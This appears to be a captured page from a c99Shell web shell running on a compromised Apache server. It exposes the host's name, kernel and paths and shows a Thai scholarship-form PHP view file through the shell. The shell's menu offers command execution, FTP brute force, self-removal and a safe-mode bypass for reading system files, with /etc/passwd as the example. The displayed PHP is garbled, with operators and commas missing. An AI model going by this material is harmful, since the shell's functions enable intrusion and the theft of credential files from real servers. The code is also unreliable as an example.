!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/esa/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_borrowFile.php (7.01 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_nw 
= (isset($qu_nw) && $qu_nw!=NULL) ? $qu_nw->row() : NULL;
$nwFrDate = (setValue('nwFrDate',$row_nw)) ? setValue('nwFrDate',$row_nw) : getNowDate();
$nwToDate = (setValue('nwToDate',$row_nw)) ? setValue('nwToDate',$row_nw) : getNowDate();

if(isset(
$passvalid)) {
    
$frDate set_value('nwFrDate');
    
$toDate set_value('nwToDate');
} else {
    if(
setValue('nwFrDate',$row_nw)=="0000-00-00") {
        
$frDate getNowDateFw2();
        
$toDate getNowDateFw2();
    } else {
        
$frDate = (setValue('nwFrDate',$row_nw)=="") ? getNowDateFw2() : splitDateDb2(setValue('nwFrDate',$row_nw),'/');
        
$toDate = (setValue('nwToDate',$row_nw)=="") ? getNowDateFw2() : splitDateDb2(setValue('nwToDate',$row_nw),'/');
    }
}
?>
<table width="100%" align="center">
    <tr>
        <td><div align="center"><table width="100%">
                <tr>
                    <th align="center">บันทึก/ดาวน์โหลดแบบฟอร์มเกี่ยวกับทุน</th>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
<?php
                
echo form_open_multipart($this->config->item("sa_folder")."borrow/brw_file_insert_update");
?>
                <tr>
                    <td><table class="szone2">
                        <tr>
                            <th>ชื่อแบบฟอร์มทุน</th>
                            <td colspan="3"><input type="text" name="nwTitle" id="nwTitle" value="<?php echo set_value('nwTitle',setValue('nwTitle',$row_nw));?>" size="60" maxlength="150" />
                            <span class="error"> * <?php echo form_error('nwTitle');?></span></td>
                        </tr>
                        <tr>
                            <th>วันที่เริ่ม-สิ้นสุดการแสดง</th>
                            <td colspan="3">
                            <input type="radio" id="dpUsed" name="dpUsed" value="Y" <?php echo ((setValue('nwFrDate'$row_nw)=="0000-00-00" && setValue('nwToDate'$row_nw)=="0000-00-00") ? "checked" "");?>/> ไม่กำหนดเวลา<br /><br />
                            <input type="radio" id="dpUsed" name="dpUsed" value="N" <?php echo ((setValue('nwFrDate'$row_nw)!="0000-00-00" && setValue('nwToDate'$row_nw)!="0000-00-00") ? "checked" "");?>/> ระบุเวลา<br />
                            <table width="100%" border="0">
                                <tr>
                                    <td><!-- <script>DateInput('nwFrDate', true, 'DD/MM/YYYY', "<?php echo set_value('nwFrDate') ? set_value('nwFrDate') : splitDateDb2(getval('nwFrDate'$row_nwgetNowDate()), '/');?>");</script>
                                    <script>DateInput('nwToDate', true, 'DD/MM/YYYY', "<?php echo set_value('nwToDate') ? set_value('nwToDate') : splitDateDb2(getval('nwToDate'$row_nwgetNowDate()), '/');?>");</script> -->

                                    <script>DateInput('nwFrDate', true, 'DD/MM/YYYY', "<?php echo $frDate;?>");</script>
                                    <script>DateInput('nwToDate', true, 'DD/MM/YYYY', "<?php echo $toDate;?>");</script>
                                    <span class="error"><?php echo form_error('nwFrDate');?></span></td>
                                </tr>
                            </table></td>
                        </tr>
                        <tr>
                            <th>รายละเอียด</th>
                            <td colspan="3">
<?php
                            $att 
= array('name'        => 'nwDetail',
                                         
'id'        => 'nwDetail',
                                         
'value'    => set_value('nwDetail',setValue('nwDetail',$row_nw)),
                                         
'rows'        => 5,
                                         
'cols'        => 50);
                            echo 
form_textarea($att);
?>
                            </td>
                        </tr>
                        <tr>
                            <th>ประกาศโดย</th>
                            <td colspan="3"><input type="text" id="nwAnnoucedBy" name="nwAnnoucedBy" size="20" value="<?php echo setValue('nwAnnoucedBy'$row_nw);?>">
                            <span class="error"> * <?php echo form_error('nwAnnoucedBy');?></span></td>
                        </tr>
                        <tr>
                            <th>วันที่ประกาศ</th>
                            <td colspan="3"><?php echo ($row_nw==NULL) ? abbreDate2(getNowDate()) : (abbreDate2(setValue('dateCreate',$row_nw)));?></td>
                        </tr>
                        <tr>
                            <td colspan="4" align="center">
                            <input type="submit" name="add" value="บันทึก" />
                            <input type="reset" name="clear" value="เคลียร์ข้อมูล">
                            <input type="hidden" id="nwId" name="nwId" value="<?php echo setValue('nwId'$row_nw);?>" /></td>
                        </tr>
                    </table></td>
                </tr>
                <?php echo form_close();?>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td colspan="2"><table class="tb_1">
                        <tr>
                            <th class="seqCol">ลำดับที่</th>
                            <th>ชื่อแบบฟอร์มทุน</th>
                            <th>วันที่เริ่ม-สิ้นสุดการแสดง</th>
                            <th class="stdCodeCol">ประกาศโดย</th>
                            <th class="editCol">แก้ไข</th>
                            <th class="deleteCol">ลบ</th>
                        </tr>
<?php
                $i 
0;
                if(isset(
$rs_nw) && $rs_nw->num_rows()) {
                    foreach(
$rs_nw->result() as $row_nw) {
?>
                        <tr>
                            <td align="center"><?php echo $i+1;?></td>
                            <td class="indent">
                            <span class="hand" onClick="sendPost(
                            'detail_frm', 
                            {'nwId':<?php echo $row_nw->nwId;?>},
                             '<?php echo site_url($this->config->item('sa_folder').'borrow/brw_showDetail');?>',
                             {height:400, width:400})"><?php echo $row_nw->nwTitle;?></span></td>
                            <td class="indent"><?php echo ($row_nw->nwFrDate=='0000-00-00' || $row_nw->nwToDate=='0000-00-00') ? 'ไม่กำหนดเวลา' abbreDate2($row_nw->nwFrDate,'-')." - ".abbreDate2($row_nw->nwToDate,'-');?></td>
                            <td class="indent"><?php echo $row_nw->nwAnnoucedBy;?></td>
                            <td align="center">
                            <img class="hand" src="<?php echo base_url().$this->config->item('rg_edit');?>" align="absmiddle" border="0" onClick="sendPost('hidform',
                            {'nwId':<?php echo $row_nw->nwId;?>},
                            '<?php echo site_url($this->config->item('sa_folder').'borrow/brw_file');?>')" /></td>
                            <td align="center">
                            <span onClick="confirmDel2({nwId:<?php echo $row_nw->nwId;?>}, 'm_form1','<?php echo site_url($this->config->item('sa_folder').'borrow/brw_deleteFileHead');?>')" />
                            <img src="<?php echo base_url().$this->config->item('rg_delete');?>" align="absmiddle" border="0" width="16" height="19" class="hand"/></span></td>
                        </tr>
<?php
                        $i
++;
                    }
                } else {
?>
                        <tr>
                            <td align="center" height="22" colspan="6"><span class="error">** ไม่ปรากฏรายการข่าวในฐานข้อมูล **</span></td>
                        </tr>
<?php    
                
}
?>
                    </table></td>
                </tr>
                <tr>
                    <td colspan="2" align="right">รวม <?php echo $i;?> รายการ</td>
                </tr>
            </table><?php echo form_close();?></div>
        <br /><table class="mark">
            <tr>
                <td class="coltd_mark"><span class="error"><strong>หมายเหตุ : </strong></span></td>
                <td><span class="error">* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</span></td>
            </tr>
            <tr>
                <td class="coltd_mark"></td>
                <td><span class="error">นำเมาส์ไปคลิกที่ชื่อแบบฟอร์มทุน เพื่อดูรายละเอียดของแบบฟอร์ม</span></td>
            </tr>
        </table></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0071 ]--